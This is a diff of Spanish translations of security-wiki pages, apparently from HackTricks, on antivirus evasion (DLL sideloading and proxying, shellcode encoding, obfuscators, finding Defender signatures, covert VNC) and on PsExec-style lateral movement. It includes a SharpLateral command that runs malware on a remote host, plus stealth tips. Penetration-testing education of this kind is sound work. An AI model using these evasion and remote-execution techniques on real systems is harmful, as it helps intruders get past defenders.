**Carga lateral de DLL** aprovecha el orden de búsqueda de DLL utilizado por el cargador al posicionar tanto la aplicación víctima como la(s) carga útil(es) maliciosa(s) una al lado de la otra.
|
**Carga lateral de DLL** aprovecha el orden de búsqueda de DLL utilizado por el cargador al posicionar tanto la aplicación víctima como la(s) carga útil(s) maliciosa(s) una al lado de la otra.
|
||||||
|
|
||||||
Puedes verificar programas susceptibles a la carga lateral de DLL usando [Siofra](https://github.com/Cybereason/siofra) y el siguiente script de powershell:
|
Puedes verificar programas susceptibles a la carga lateral de DLL usando [Siofra](https://github.com/Cybereason/siofra) y el siguiente script de powershell:
|
||||||
|
|
||||||
|
@ -104,9 +104,9 @@ Este comando mostrará la lista de programas susceptibles a la suplantación de
|
||||||
|
|
||||||
Te recomiendo encarecidamente que **explores los programas suplantables/cargables de DLL tú mismo**, esta técnica es bastante sigilosa si se hace correctamente, pero si usas programas cargables de DLL conocidos públicamente, podrías ser atrapado fácilmente.
|
Te recomiendo encarecidamente que **explores los programas suplantables/cargables de DLL tú mismo**, esta técnica es bastante sigilosa si se hace correctamente, pero si usas programas cargables de DLL conocidos públicamente, podrías ser atrapado fácilmente.
|
||||||
|
|
||||||
Simplemente colocar una DLL maliciosa con el nombre que un programa espera cargar, no cargará tu carga útil, ya que el programa espera algunas funciones específicas dentro de esa DLL. Para solucionar este problema, utilizaremos otra técnica llamada **Proxying/Forwarding de DLL**.
|
Simplemente colocar una DLL maliciosa con el nombre que un programa espera cargar, no cargará tu carga útil, ya que el programa espera algunas funciones específicas dentro de esa DLL. Para solucionar este problema, utilizaremos otra técnica llamada **Proxy/Redirección de DLL**.
|
||||||
|
|
||||||
**Proxying de DLL** reenvía las llamadas que un programa hace desde la DLL proxy (y maliciosa) a la DLL original, preservando así la funcionalidad del programa y pudiendo manejar la ejecución de tu carga útil.
|
**Proxy de DLL** reenvía las llamadas que un programa hace desde la DLL proxy (y maliciosa) a la DLL original, preservando así la funcionalidad del programa y pudiendo manejar la ejecución de tu carga útil.
|
||||||
|
|
||||||
Estaré utilizando el proyecto [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) de [@flangvik](https://twitter.com/Flangvik/)
|
Estaré utilizando el proyecto [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) de [@flangvik](https://twitter.com/Flangvik/)
|
||||||
|
|
||||||
|
@ -135,7 +135,7 @@ Estos son los resultados:
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
¡Tanto nuestro shellcode (codificado con [SGN](https://github.com/EgeBalci/sgn)) como la DLL proxy tienen una tasa de detección de 0/26 en [antiscan.me](https://antiscan.me)! Yo llamaría a eso un éxito.
|
¡Tanto nuestro shellcode (codificado con [SGN](https://github.com/EgeBalci/sgn)) como el DLL proxy tienen una tasa de detección de 0/26 en [antiscan.me](https://antiscan.me)! Yo llamaría a eso un éxito.
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (193).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (193).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
@ -241,7 +241,7 @@ Hay varias herramientas que se pueden usar para **ofuscar código en texto claro
|
||||||
* [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: Ofuscador de C#**
|
* [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: Ofuscador de C#**
|
||||||
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): El objetivo de este proyecto es proporcionar un fork de código abierto de la suite de compilación [LLVM](http://www.llvm.org/) capaz de proporcionar mayor seguridad en el software a través de [ofuscación de código](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) y protección contra manipulaciones.
|
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): El objetivo de este proyecto es proporcionar un fork de código abierto de la suite de compilación [LLVM](http://www.llvm.org/) capaz de proporcionar mayor seguridad en el software a través de [ofuscación de código](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) y protección contra manipulaciones.
|
||||||
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demuestra cómo usar el lenguaje `C++11/14` para generar, en tiempo de compilación, código ofuscado sin usar ninguna herramienta externa y sin modificar el compilador.
|
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demuestra cómo usar el lenguaje `C++11/14` para generar, en tiempo de compilación, código ofuscado sin usar ninguna herramienta externa y sin modificar el compilador.
|
||||||
* [**obfy**](https://github.com/fritzone/obfy): Agrega una capa de operaciones ofuscadas generadas por el marco de metaprogramación de plantillas de C++ que hará que la vida de la persona que quiera crackear la aplicación sea un poco más difícil.
|
* [**obfy**](https://github.com/fritzone/obfy): Agrega una capa de operaciones ofuscadas generadas por el marco de metaprogramación de plantillas de C++ que dificultará un poco la vida a la persona que quiera crackear la aplicación.
|
||||||
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz es un ofuscador de binarios x64 que puede ofuscar varios archivos pe diferentes, incluyendo: .exe, .dll, .sys
|
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz es un ofuscador de binarios x64 que puede ofuscar varios archivos pe diferentes, incluyendo: .exe, .dll, .sys
|
||||||
* [**metame**](https://github.com/a0rtega/metame): Metame es un motor de código metamórfico simple para ejecutables arbitrarios.
|
* [**metame**](https://github.com/a0rtega/metame): Metame es un motor de código metamórfico simple para ejecutables arbitrarios.
|
||||||
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator es un marco de ofuscación de código de grano fino para lenguajes compatibles con LLVM utilizando ROP (programación orientada a retorno). ROPfuscator ofusca un programa a nivel de código de ensamblaje transformando instrucciones regulares en cadenas ROP, frustrando nuestra concepción natural del flujo de control normal.
|
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator es un marco de ofuscación de código de grano fino para lenguajes compatibles con LLVM utilizando ROP (programación orientada a retorno). ROPfuscator ofusca un programa a nivel de código de ensamblaje transformando instrucciones regulares en cadenas ROP, frustrando nuestra concepción natural del flujo de control normal.
|
||||||
|
@ -350,7 +350,7 @@ Esta también es otra gran charla de [@mariuszbit](https://twitter.com/mariuszbi
|
||||||
|
|
||||||
### **Ver qué partes encuentra Defender como maliciosas**
|
### **Ver qué partes encuentra Defender como maliciosas**
|
||||||
|
|
||||||
Puedes usar [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) que **eliminará partes del binario** hasta que **descubra qué parte Defender** encuentra como maliciosa y te lo divida.\
|
Puedes usar [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) que **eliminará partes del binario** hasta que **descubra qué parte Defender** encuentra como maliciosa y te lo dividirá.\
|
||||||
Otra herramienta que hace **lo mismo es** [**avred**](https://github.com/dobin/avred) con un servicio web abierto que ofrece el servicio en [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
|
Otra herramienta que hace **lo mismo es** [**avred**](https://github.com/dobin/avred) con un servicio web abierto que ofrece el servicio en [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
|
||||||
|
|
||||||
### **Servidor Telnet**
|
### **Servidor Telnet**
|
||||||
|
@ -387,7 +387,7 @@ El **atacante** debe **ejecutar dentro** de su **host** el binario `vncviewer.ex
|
||||||
**ADVERTENCIA:** Para mantener el sigilo no debes hacer algunas cosas
|
**ADVERTENCIA:** Para mantener el sigilo no debes hacer algunas cosas
|
||||||
|
|
||||||
* No inicies `winvnc` si ya está en ejecución o activarás un [popup](https://i.imgur.com/1SROTTl.png). verifica si está en ejecución con `tasklist | findstr winvnc`
|
* No inicies `winvnc` si ya está en ejecución o activarás un [popup](https://i.imgur.com/1SROTTl.png). verifica si está en ejecución con `tasklist | findstr winvnc`
|
||||||
* No inicies `winvnc` sin `UltraVNC.ini` en el mismo directorio o causará que se abra [la ventana de configuración](https://i.imgur.com/rfMQWcf.png)
|
* No inicies `winvnc` sin `UltraVNC.ini` en el mismo directorio o abrirá [la ventana de configuración](https://i.imgur.com/rfMQWcf.png)
|
||||||
* No ejecutes `winvnc -h` para ayuda o activarás un [popup](https://i.imgur.com/oc18wcu.png)
|
* No ejecutes `winvnc -h` para ayuda o activarás un [popup](https://i.imgur.com/oc18wcu.png)
|
||||||
|
|
||||||
### GreatSCT
|
### GreatSCT
|
||||||
|
@ -569,15 +569,15 @@ https://github.com/praetorian-code/vulcan
|
||||||
|
|
||||||
* [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
|
* [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
|
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprende y practica Hacking en AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprende y practica Hacking en GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
|
|
@ -1,8 +1,8 @@
|
||||||
# PsExec/Winexec/ScExec
|
# PsExec/Winexec/ScExec
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -15,11 +15,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
## Cómo funcionan
|
## ¿Cómo funcionan?
|
||||||
|
|
||||||
El proceso se describe en los pasos a continuación, ilustrando cómo se manipulan los binarios de servicio para lograr la ejecución remota en una máquina objetivo a través de SMB:
|
El proceso se describe en los pasos a continuación, ilustrando cómo se manipulan los binarios de servicio para lograr la ejecución remota en una máquina objetivo a través de SMB:
|
||||||
|
|
||||||
|
@ -54,13 +52,11 @@ SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprende y practica Hacking en AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprende y practica Hacking en GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
|